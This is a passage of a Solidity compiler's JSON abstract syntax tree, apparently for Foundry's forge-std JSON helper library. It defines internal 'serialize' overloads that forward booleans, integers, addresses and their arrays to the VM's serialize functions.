string","nodeType":"ElementaryTypeName","src":"3173:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3172:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6959,"nodeType":"FunctionDefinition","src":"3255:167:6","nodes":[],"body":{"id":6958,"nodeType":"Block","src":"3361:61:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6953,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6942,"src":"3395:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6954,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6944,"src":"3404:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6955,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6946,"src":"3409:5:6","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":6951,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"3378:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3381:13:6","memberName":"serializeBool","nodeType":"MemberAccess","referencedDeclaration":13120,"src":"3378:16:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bool) external returns (string memory)"}},"id":6956,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3378:37:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":6950,"id":6957,"nodeType":"Return","src":"3371:44:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3264:9:6","parameters":{"id":6947,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6942,"mutability":"mutable","name":"jsonKey","nameLocation":"3288:7:6","nodeType":"VariableDeclaration","scope":6959,"src":"3274:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6941,"name":"string","nodeType":"ElementaryTypeName","src":"3274:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6944,"mutability":"mutable","name":"key","nameLocation":"3311:3:6","nodeType":"VariableDeclaration","scope":6959,"src":"3297:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6943,"name":"string","nodeType":"ElementaryTypeName","src":"3297:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6946,"mutability":"mutable","name":"value","nameLocation":"3321:5:6","nodeType":"VariableDeclaration","scope":6959,"src":"3316:10:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6945,"name":"bool","nodeType":"ElementaryTypeName","src":"3316:4:6","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3273:54:6"},"returnParameters":{"id":6950,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6949,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6959,"src":"3346:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6948,"name":"string","nodeType":"ElementaryTypeName","src":"3346:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3345:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6979,"nodeType":"FunctionDefinition","src":"3428:196:6","nodes":[],"body":{"id":6978,"nodeType":"Block","src":"3563:61:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6973,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6961,"src":"3597:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6974,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6963,"src":"3606:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6975,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6966,"src":"3611:5:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}],"expression":{"id":6971,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"3580:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6972,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3583:13:6","memberName":"serializeBool","nodeType":"MemberAccess","referencedDeclaration":13133,"src":"3580:16:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_bool_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bool[] memory) external returns (string memory)"}},"id":6976,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3580:37:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":6970,"id":6977,"nodeType":"Return","src":"3573:44:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3437:9:6","parameters":{"id":6967,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6961,"mutability":"mutable","name":"jsonKey","nameLocation":"3461:7:6","nodeType":"VariableDeclaration","scope":6979,"src":"3447:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6960,"name":"string","nodeType":"ElementaryTypeName","src":"3447:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6963,"mutability":"mutable","name":"key","nameLocation":"3484:3:6","nodeType":"VariableDeclaration","scope":6979,"src":"3470:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6962,"name":"string","nodeType":"ElementaryTypeName","src":"3470:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6966,"mutability":"mutable","name":"value","nameLocation":"3503:5:6","nodeType":"VariableDeclaration","scope":6979,"src":"3489:19:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":6964,"name":"bool","nodeType":"ElementaryTypeName","src":"3489:4:6","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":6965,"nodeType":"ArrayTypeName","src":"3489:6:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"3446:63:6"},"returnParameters":{"id":6970,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6969,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6979,"src":"3544:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6968,"name":"string","nodeType":"ElementaryTypeName","src":"3544:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3543:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":6998,"nodeType":"FunctionDefinition","src":"3630:170:6","nodes":[],"body":{"id":6997,"nodeType":"Block","src":"3739:61:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":6992,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6981,"src":"3773:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6993,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6983,"src":"3782:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6994,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6985,"src":"3787:5:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":6990,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"3756:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":6991,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3759:13:6","memberName":"serializeUint","nodeType":"MemberAccess","referencedDeclaration":13255,"src":"3756:16:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,uint256) external returns (string memory)"}},"id":6995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3756:37:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":6989,"id":6996,"nodeType":"Return","src":"3749:44:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3639:9:6","parameters":{"id":6986,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6981,"mutability":"mutable","name":"jsonKey","nameLocation":"3663:7:6","nodeType":"VariableDeclaration","scope":6998,"src":"3649:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6980,"name":"string","nodeType":"ElementaryTypeName","src":"3649:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6983,"mutability":"mutable","name":"key","nameLocation":"3686:3:6","nodeType":"VariableDeclaration","scope":6998,"src":"3672:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6982,"name":"string","nodeType":"ElementaryTypeName","src":"3672:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6985,"mutability":"mutable","name":"value","nameLocation":"3699:5:6","nodeType":"VariableDeclaration","scope":6998,"src":"3691:13:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6984,"name":"uint256","nodeType":"ElementaryTypeName","src":"3691:7:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3648:57:6"},"returnParameters":{"id":6989,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6988,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":6998,"src":"3724:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6987,"name":"string","nodeType":"ElementaryTypeName","src":"3724:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3723:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7018,"nodeType":"FunctionDefinition","src":"3806:199:6","nodes":[],"body":{"id":7017,"nodeType":"Block","src":"3944:61:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7012,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7000,"src":"3978:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7013,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7002,"src":"3987:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7014,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7005,"src":"3992:5:6","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}],"expression":{"id":7010,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"3961:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7011,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3964:13:6","memberName":"serializeUint","nodeType":"MemberAccess","referencedDeclaration":13268,"src":"3961:16:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_uint256_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,uint256[] memory) external returns (string memory)"}},"id":7015,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3961:37:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7009,"id":7016,"nodeType":"Return","src":"3954:44:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3815:9:6","parameters":{"id":7006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7000,"mutability":"mutable","name":"jsonKey","nameLocation":"3839:7:6","nodeType":"VariableDeclaration","scope":7018,"src":"3825:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6999,"name":"string","nodeType":"ElementaryTypeName","src":"3825:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7002,"mutability":"mutable","name":"key","nameLocation":"3862:3:6","nodeType":"VariableDeclaration","scope":7018,"src":"3848:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7001,"name":"string","nodeType":"ElementaryTypeName","src":"3848:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7005,"mutability":"mutable","name":"value","nameLocation":"3884:5:6","nodeType":"VariableDeclaration","scope":7018,"src":"3867:22:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":7003,"name":"uint256","nodeType":"ElementaryTypeName","src":"3867:7:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7004,"nodeType":"ArrayTypeName","src":"3867:9:6","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"3824:66:6"},"returnParameters":{"id":7009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7008,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7018,"src":"3925:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7007,"name":"string","nodeType":"ElementaryTypeName","src":"3925:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3924:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7037,"nodeType":"FunctionDefinition","src":"4011:168:6","nodes":[],"body":{"id":7036,"nodeType":"Block","src":"4119:60:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7031,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7020,"src":"4152:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7032,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7022,"src":"4161:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7033,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7024,"src":"4166:5:6","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":7029,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"4136:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7030,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4139:12:6","memberName":"serializeInt","nodeType":"MemberAccess","referencedDeclaration":13195,"src":"4136:15:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,int256) external returns (string memory)"}},"id":7034,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4136:36:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7028,"id":7035,"nodeType":"Return","src":"4129:43:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4020:9:6","parameters":{"id":7025,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7020,"mutability":"mutable","name":"jsonKey","nameLocation":"4044:7:6","nodeType":"VariableDeclaration","scope":7037,"src":"4030:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7019,"name":"string","nodeType":"ElementaryTypeName","src":"4030:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7022,"mutability":"mutable","name":"key","nameLocation":"4067:3:6","nodeType":"VariableDeclaration","scope":7037,"src":"4053:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7021,"name":"string","nodeType":"ElementaryTypeName","src":"4053:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7024,"mutability":"mutable","name":"value","nameLocation":"4079:5:6","nodeType":"VariableDeclaration","scope":7037,"src":"4072:12:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":7023,"name":"int256","nodeType":"ElementaryTypeName","src":"4072:6:6","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"4029:56:6"},"returnParameters":{"id":7028,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7027,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7037,"src":"4104:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7026,"name":"string","nodeType":"ElementaryTypeName","src":"4104:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4103:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7057,"nodeType":"FunctionDefinition","src":"4185:197:6","nodes":[],"body":{"id":7056,"nodeType":"Block","src":"4322:60:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7051,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7039,"src":"4355:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7052,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7041,"src":"4364:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7053,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7044,"src":"4369:5:6","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[] memory"}],"expression":{"id":7049,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"4339:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7050,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4342:12:6","memberName":"serializeInt","nodeType":"MemberAccess","referencedDeclaration":13208,"src":"4339:15:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_int256_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,int256[] memory) external returns (string memory)"}},"id":7054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4339:36:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7048,"id":7055,"nodeType":"Return","src":"4332:43:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4194:9:6","parameters":{"id":7045,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7039,"mutability":"mutable","name":"jsonKey","nameLocation":"4218:7:6","nodeType":"VariableDeclaration","scope":7057,"src":"4204:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7038,"name":"string","nodeType":"ElementaryTypeName","src":"4204:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7041,"mutability":"mutable","name":"key","nameLocation":"4241:3:6","nodeType":"VariableDeclaration","scope":7057,"src":"4227:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7040,"name":"string","nodeType":"ElementaryTypeName","src":"4227:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7044,"mutability":"mutable","name":"value","nameLocation":"4262:5:6","nodeType":"VariableDeclaration","scope":7057,"src":"4246:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":7042,"name":"int256","nodeType":"ElementaryTypeName","src":"4246:6:6","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":7043,"nodeType":"ArrayTypeName","src":"4246:8:6","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"4203:65:6"},"returnParameters":{"id":7048,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7047,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7057,"src":"4303:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7046,"name":"string","nodeType":"ElementaryTypeName","src":"4303:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4302:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7076,"nodeType":"FunctionDefinition","src":"4388:173:6","nodes":[],"body":{"id":7075,"nodeType":"Block","src":"4497:64:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7070,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7059,"src":"4534:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7071,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7061,"src":"4543:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7072,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7063,"src":"4548:5:6","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":7068,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"4514:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4517:16:6","memberName":"serializeAddress","nodeType":"MemberAccess","referencedDeclaration":13095,"src":"4514:19:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,address) external returns (string memory)"}},"id":7073,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4514:40:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7067,"id":7074,"nodeType":"Return","src":"4507:47:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4397:9:6","parameters":{"id":7064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7059,"mutability":"mutable","name":"jsonKey","nameLocation":"4421:7:6","nodeType":"VariableDeclaration","scope":7076,"src":"4407:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7058,"name":"string","nodeType":"ElementaryTypeName","src":"4407:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7061,"mutability":"mutable","name":"key","nameLocation":"4444:3:6","nodeType":"VariableDeclaration","scope":7076,"src":"4430:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7060,"name":"string","nodeType":"ElementaryTypeName","src":"4430:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7063,"mutability":"mutable","name":"value","nameLocation":"4457:5:6","nodeType":"VariableDeclaration","scope":7076,"src":"4449:13:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7062,"name":"address","nodeType":"ElementaryTypeName","src":"4449:7:6","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4406:57:6"},"returnParameters":{"id":7067,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7066,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7076,"src":"4482:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7065,"name":"string","nodeType":"ElementaryTypeName","src":"4482:6:6","typeDescriptions":{"typeIdentifier